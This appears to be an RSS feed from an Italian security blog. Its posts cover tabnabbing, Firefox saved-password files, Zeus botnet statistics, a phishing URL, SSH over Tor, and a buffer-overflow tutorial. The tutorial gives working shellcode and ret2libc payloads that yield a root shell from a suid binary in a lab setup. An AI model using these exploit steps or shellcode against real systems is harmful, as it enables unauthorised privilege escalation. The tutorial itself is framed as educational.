<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michele Manzotti &#187; Security</title>
	<atom:link href="http://manzotti.eu/category/security/feed" rel="self" type="application/rss+xml" />
	<link>http://manzotti.eu</link>
	<description></description>
	<lastBuildDate>Mon, 12 Jul 2010 23:53:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tabnabbing: A New Type of Phishing Attack</title>
		<link>http://manzotti.eu/tabnabbing-a-new-type-of-phishing-attack</link>
		<comments>http://manzotti.eu/tabnabbing-a-new-type-of-phishing-attack#comments</comments>
		<pubDate>Sat, 03 Jul 2010 13:00:36 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[tab]]></category>
		<category><![CDATA[tabnabbing]]></category>
		<category><![CDATA[tecnica]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1801</guid>
		<description><![CDATA[Anche voi siete abili navigatori web, frequentatori di forum, amanti del protocollo HTTP e ogni volta aprite contemporaneamente mille tab del proprio browser?
Bene. Allora questo articolo fa per voi!

Infatti un web design americano Aza Raskin ha recentemente pubblicato una nuova tipologia di phishing: il Tabnabbing.
Questa nuova tecnica di attacco sfrutta proprio questa caratteristica comune a [...]]]></description>
			<content:encoded><![CDATA[<p>Anche voi siete abili navigatori web, frequentatori di forum, amanti del protocollo HTTP e ogni volta <strong>aprite contemporaneamente mille tab del proprio browser?</strong></p>
<p>Bene. Allora questo articolo fa per voi!</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/phishing.png"><img src="http://manzotti.eu/wp-content/uploads/2010/07/phishing-300x300.png" alt="" title="phishing" width="300" height="300" class="aligncenter size-medium wp-image-1820" /></a></p>
<p>Infatti un web design americano <a href="http://en.wikipedia.org/wiki/Aza_Raskin">Aza Raskin</a> ha recentemente pubblicato una nuova tipologia di phishing: il <strong><a href="http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/">Tabnabbing</a></strong>.</p>
<p>Questa nuova tecnica di attacco sfrutta proprio questa caratteristica comune a molti di tenere aperte centinaia di tab. Nello specifico consiste in <a href="http://www.azarask.in/projects/bgattack.js">un file Javascript</a> dove si imposta un redirect nel momento in cui l&#8217;utente seleziona altre tab aperte. Dunque punta a sfruttare l&#8217;attimo di distrazione da parte del navigatore impegnato a leggere altre pagine.</p>
<p>Infatti nel <a href="http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/">sito</a> dove viene descritta questa tecnica è presente anche una demo: se lo avete aperto in un nuovo tab e poi siete ritornati qui per leggere il resto dell&#8217;articolo sicuramente noterete che è stato fatto un redirect ad una pagina contente l&#8217;immagine di login di gmail.</p>
<p>Semplice ma efficace!</p>
<p>C&#8217;è anche un video che illustra bene quello che succede.</p>
<p><object width="400" height="267"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=12003099&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=12003099&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="267"></embed></object>
<p><a href="http://vimeo.com/12003099">A New Type of Phishing Attack</a> from <a href="http://vimeo.com/user532161">Aza Raskin</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>Forte vero?<br />
Alla prossima!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/tabnabbing-a-new-type-of-phishing-attack/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox Saved Password</title>
		<link>http://manzotti.eu/firefox-saved-password</link>
		<comments>http://manzotti.eu/firefox-saved-password#comments</comments>
		<pubDate>Sat, 03 Jul 2010 08:00:22 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[salvate]]></category>
		<category><![CDATA[saved]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1779</guid>
		<description><![CDATA[
Occhio ragazzi! Se siete come me, ossia un utilizzatore abituale di firefox, state attenti a non farvi rubare questi due file localizzati nella directory dell&#8217;utente di Mozilla:

key3.db
signons.sqlite

Ecco cosa potrebbe capitare:

In questo modo anche la vostra ragazza potrebbe farvela!
  
]]></description>
			<content:encoded><![CDATA[<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/password.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/password-237x300.jpg" alt="" title="password" width="237" height="300" class="aligncenter size-medium wp-image-1796" /></a></p>
<p>Occhio ragazzi! Se siete come me, ossia un utilizzatore abituale di firefox, state attenti a non farvi rubare questi due file localizzati nella directory dell&#8217;utente di Mozilla:</p>
<ul>
<li>key3.db</li>
<li>signons.sqlite</li>
</ul>
<p>Ecco cosa potrebbe capitare:</p>
<p><object width="640" height="505"><param name="movie" value="http://www.youtube.com/v/l0N7ZIcoArI&#038;fmt=22;hl=it_IT&amp;fs=1?hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/l0N7ZIcoArI&#038;fmt=22;hl=it_IT&amp;fs=1?hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="520" height="505"></embed></object></p>
<p>In questo modo anche la vostra ragazza potrebbe farvela!<br />
 <img src='http://manzotti.eu/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/firefox-saved-password/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Analizziamo una Botnet con Zeus Tracker</title>
		<link>http://manzotti.eu/analizziamo-una-botnet-con-zeus-tracker</link>
		<comments>http://manzotti.eu/analizziamo-una-botnet-con-zeus-tracker#comments</comments>
		<pubDate>Fri, 02 Jul 2010 14:00:38 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[analisi]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[zeus]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1754</guid>
		<description><![CDATA[In occasione del corso di formazione relativo al task 03 di ICAR, a fine giornata un signore mi pose una domanda, seppur banale per noi amanti della network security, molto accattivante e ricca di riflessioni personali: Che cosa è una botnet?
Dovendo spiegare a persone che di informatica non ne masticano, a maggior ragione di sicurezza, [...]]]></description>
			<content:encoded><![CDATA[<p>In occasione del <a href="http://conferences.cs.unicam.it/icarplusformazione/programma/modulo-2-%E2%80%93-aspetti-infrastrutturali/">corso di formazione relativo al task 03 di ICAR</a>, a fine giornata un signore mi pose una domanda, seppur banale per noi amanti della network security, molto accattivante e ricca di riflessioni personali: <strong>Che cosa è una botnet?</strong></p>
<p>Dovendo spiegare a persone che di informatica non ne masticano, a maggior ragione di sicurezza, presi il videoproiettore e con la frase &#8220;Ecco questa è una botnet&#8230;&#8221; mostrai la seguente immagine:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-google.png"><img class="aligncenter size-medium wp-image-1755" title="botnet-google" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-google-300x186.png" alt="" width="537" height="596" /></a></p>
<p>Si tratta infatti di una immagine estrapolata dal sito <a href="https://zeustracker.abuse.ch/">ZeusTracker</a> che mostra in tempo reale le macchine infette nel mondo. Ora non è compito di questo articolo spiegarvi cosa sia una <a href="http://it.wikipedia.org/wiki/Botnet">botnet</a> perchè di materiale in rete ve ne è fin troppo. Quello che mi preme condividere sono le informazioni presenti in <a href="https://zeustracker.abuse.ch/">ZeusTracker</a>.</p>
<p>Oltre a fornire una rapida overview della situazione, c&#8217;è una <a href="https://zeustracker.abuse.ch/blocklist.php">blocklist</a> sia di IP che Domain da poter scaricare e caricare nel proprio firewall/proxy. Inoltre nel caso in cui dobbiate fare un&#8217;analisi sulle botnet potreste prendere Zeus come esempio e recuperare i dati nella pagina delle <a href="https://zeustracker.abuse.ch/statistic.php">statistiche</a>.</p>
<p>Attualmente la botnet presenta un numero di &#8220;nuovi&#8221; host al mese superiore a <strong>300</strong>:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-host.png"><img class="aligncenter size-medium wp-image-1761" title="botnet-host" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-host-300x141.png" alt="" width="300" height="141" /></a></p>
<p>con un totale di circa <strong>1410</strong> macchine infettate:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-total.png"><img class="aligncenter size-medium wp-image-1762" title="botnet-total" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-total-300x95.png" alt="" width="300" height="95" /></a></p>
<p>con i C&amp;C hostati su domini di provenienza <strong>cinese</strong>, <strong>russa</strong> e <strong>americana</strong>:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-cc.png"><img class="aligncenter size-medium wp-image-1763" title="botnet-c&amp;c" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-cc-300x91.png" alt="" width="300" height="91" /></a></p>
<p>e infine non potevano mancare gli ultimi arrivi:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-last.png"><img class="aligncenter size-medium wp-image-1764" title="botnet-last" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-last-300x122.png" alt="" width="300" height="122" /></a></p>
<p> <img src='http://manzotti.eu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Peccato che non ci sia il costo per l&#8217;affitto!! Comunque non disperiamo&#8230; con <strong>200 €</strong> compriamo direttamente i sorgenti:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-n0ise.png"><img class="aligncenter size-medium wp-image-1765" title="botnet-n0ise" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-n0ise-300x173.png" alt="" width="300" height="173" /></a></p>
<p>Non sarà del calibro di Zeus ma va bene lo stesso!<br />
[spero che vi siate fatti una risata qui.]</p>
<p>Vi lascio con un simpatico video su una investigazione fatta dalla <a href="http://news.bbc.co.uk/2/hi/programmes/click_online/7938201.stm">BBC</a> nel Marzo 2009:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="512" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="FlashVars" value="config_settings_showUpdatedInFooter=true&amp;config_settings_showPopoutButton=false&amp;playlist=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fmedia%2Femp%2F7940000%2F7940400%2F7940485%2Exml&amp;config=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fplayer%2Femp%2Fconfig%2Fdefault%2Exml%3F1%2E3%2E114%5F2%2E14%2E10344%5F10753%5F20090817121631&amp;config_settings_language=default&amp;config_settings_showFooter=true&amp;config_plugin_fmtjLiveStats_pageType=eav6&amp;config_settings_showPopoutButton=false&amp;config_settings_showPopoutCta=false&amp;config_settings_addReferrerToPlaylistRequest=true" /><param name="src" value="http://news.bbc.co.uk/player/emp/external/player.swf" /><param name="flashvars" value="config_settings_showUpdatedInFooter=true&amp;config_settings_showPopoutButton=false&amp;playlist=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fmedia%2Femp%2F7940000%2F7940400%2F7940485%2Exml&amp;config=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fplayer%2Femp%2Fconfig%2Fdefault%2Exml%3F1%2E3%2E114%5F2%2E14%2E10344%5F10753%5F20090817121631&amp;config_settings_language=default&amp;config_settings_showFooter=true&amp;config_plugin_fmtjLiveStats_pageType=eav6&amp;config_settings_showPopoutButton=false&amp;config_settings_showPopoutCta=false&amp;config_settings_addReferrerToPlaylistRequest=true" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="512" height="400" src="http://news.bbc.co.uk/player/emp/external/player.swf" flashvars="config_settings_showUpdatedInFooter=true&amp;config_settings_showPopoutButton=false&amp;playlist=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fmedia%2Femp%2F7940000%2F7940400%2F7940485%2Exml&amp;config=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fplayer%2Femp%2Fconfig%2Fdefault%2Exml%3F1%2E3%2E114%5F2%2E14%2E10344%5F10753%5F20090817121631&amp;config_settings_language=default&amp;config_settings_showFooter=true&amp;config_plugin_fmtjLiveStats_pageType=eav6&amp;config_settings_showPopoutButton=false&amp;config_settings_showPopoutCta=false&amp;config_settings_addReferrerToPlaylistRequest=true" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Alla prossima!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/analizziamo-una-botnet-con-zeus-tracker/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le basi del BOF Buffer overflow</title>
		<link>http://manzotti.eu/le-basi-del-bof-buffer-overflow</link>
		<comments>http://manzotti.eu/le-basi-del-bof-buffer-overflow#comments</comments>
		<pubDate>Thu, 01 Jul 2010 14:00:14 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bof]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=816</guid>
		<description><![CDATA[Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230;
Dopo l&#8217;articolo sulle basi dell&#8217;assembly e del debugging, vediamo in questo come implementare la tecnica [...]]]></description>
			<content:encoded><![CDATA[<p>Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230;</p>
<p>Dopo l&#8217;articolo sulle <a href="http://manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix">basi dell&#8217;assembly e del debugging</a>, vediamo in questo come implementare la tecnica del <a href="http://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a>.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1-299x193.jpg" alt="" title="hexdump1" width="299" height="193" class="aligncenter size-medium wp-image-1739" /></a></p>
<p>Senza perderci troppo sulla teoria che rimando a <a href="http://en.wikipedia.org/wiki/Buffer_overflow">wikipedia</a>, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.</p>
<p>Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0</pre></div></div>

<p>Per riabilitarlo invece:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# sysctl -w kernel.randomize_va_space=3</pre></div></div>

<p><strong>vuln.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
          strcpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’</pre></div></div>

<p>Ricordiamoci di utilizzare le opzioni <i><u>-z execstack</u> <u>-fno-stack-protector</u> <u>-mpreferred-stack-boundary=2</u></i> per il kernel 2.6.x e settiamo il suid:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">#chmod +s vuln</pre></div></div>

<p>Procuriamoci uno shellcode da <a href="http://shellcode.org/Shellcode/linux/null-free/">shellcode.org</a> testiamo il suo funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> main<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x19</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x57</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span>&quot;</span>
     <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Testiamo il suo corretto funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#</pre></div></div>

<p>Bene ora possiamo esportare il tutto in una variabile d&#8217;ambiente aggiungendo anche del nop code.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ export SH=`perl -e 'print &quot;\x90&quot;x64,&quot;\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh&quot;'`</pre></div></div>

<p>Ora non ci resta che individuare dove è localizzata la variabile d&#8217;ambiente appena creata.</p>
<p><strong>get.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;The address of %s is %p<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> getenv<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo e cerchiamo l&#8217;indirizzo della variabile d&#8217;ambiente:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@$ ./get SH
The address of SH is 0xbffffed4</pre></div></div>

<p>Ora possimao lanciare l&#8217;exploit sull&#8217;indirizzo appena trovato:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print &quot;\xd4\xfe\xff\xbf&quot;x4'`
Hello ����������������
# whoami
root</pre></div></div>

<p>Possiamo fare anche la stessa cosa senza utilizzare una variabile d&#8217;ambiente e shellcode, ma cercando il binario direttamente nella memoria.</p>
<p><strong>find.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#define BASE_ADDR    0xb7e7d000</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
           <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>ptr<span style="color: #339933;">=</span>BASE_ADDR<span style="color: #339933;">;</span>
           <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>strncmp<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%p : %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>ptr<span style="color: #339933;">,</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                     <span style="color: #009900;">&#125;</span>
                     ptr<span style="color: #339933;">++;</span>
           <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo con le stesse opzioni adottatte per vuln.c</p>
<p>Analizziamo lo stack address:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
&nbsp;
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 &lt;system&gt;:    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y</pre></div></div>

<p>Nel caso in cui avessimo uno stack dinamico, l&#8217;indirizzo <strong>0xb7ea7a90</strong> cambierebbe ogni volta.</p>
<p>Cerchiamo la nostra shell in memoria:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./find
0xb7faab33 : /bin/sh</pre></div></div>

<p>Bene ora non ci resta che lanciare l&#8217;exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./vuln `printf &quot;aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7&quot;`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root</pre></div></div>

<p>Questo articolo ha il solo scopo didattico, infatti con l&#8217;utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/le-basi-del-bof-buffer-overflow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Poste Italiane: sempre sotto attacco!</title>
		<link>http://manzotti.eu/poste-italiane-sempre-sotto-attacco</link>
		<comments>http://manzotti.eu/poste-italiane-sempre-sotto-attacco#comments</comments>
		<pubDate>Tue, 08 Dec 2009 09:52:28 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[poste italiane]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1548</guid>
		<description><![CDATA[Proprio oggi controllavo lo spam e mi è saltato all&#8217;occhio questo phishing proprio ben fatto!

hxxp://89.108.68.85/~postale8/
Ma perchè sempre e solo contro questi di poste italiane? Maaaaaah  
]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Proprio oggi controllavo lo spam e mi è saltato all&#8217;occhio questo <a href="http://it.wikipedia.org/wiki/Phishing">phishing</a> proprio ben fatto!</p>
<p><a href="http://farm3.static.flickr.com/2495/4168922816_ef524cbcac_o.jpg"><img class="aligncenter" title="Phishing Poste Italiane" src="http://farm3.static.flickr.com/2495/4168922816_ef524cbcac_o.jpg" alt="" width="612" height="338" /></a></p>
<p><strong>hxxp://89.108.68.85/~postale8/</strong></p>
<p>Ma perchè sempre e solo contro questi di poste italiane? Maaaaaah <img src='http://manzotti.eu/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/poste-italiane-sempre-sotto-attacco/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SSH anonimo via TOR</title>
		<link>http://manzotti.eu/ssh-anonimo-via-tor</link>
		<comments>http://manzotti.eu/ssh-anonimo-via-tor#comments</comments>
		<pubDate>Fri, 04 Sep 2009 23:52:05 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[anonima]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[tor]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1459</guid>
		<description><![CDATA[Dopo aver installato il Tor in BT4, vediamo come poterlo utilizzare per effettuare connessioni ssh anonime.
La suite del pacchetto mette a disposizione l&#8217;utility torify che come vedete ci permette di effettuare connessioni TCP via tor:

$ apropos torify
torify (1)           - wrapper for tsocks and tor

&#8230;.e per [...]]]></description>
			<content:encoded><![CDATA[<p>Dopo aver installato il <a href="http://manzotti.eu/installare-tor-su-backtrack-4">Tor in BT4</a>, vediamo come poterlo utilizzare per effettuare connessioni ssh anonime.<br />
La suite del pacchetto mette a disposizione l&#8217;utility <strong>torify</strong> che come vedete ci permette di effettuare connessioni TCP via tor:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ apropos torify
torify (1)           - wrapper for tsocks and tor</pre></div></div>

<p>&#8230;.e per non farci mancare proprio nulla:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ apropos tor-resolve
tor-resolve (1)      - resolve a hostname to an IP address via tor</pre></div></div>

<p>Bè credo che sia chiaro&#8230;. quindi digitando semplicemente:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ torify ssh root@a.b.c.d</pre></div></div>

<p>&#8230; avremo la nostra bella shell anonima <img src='http://manzotti.eu/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
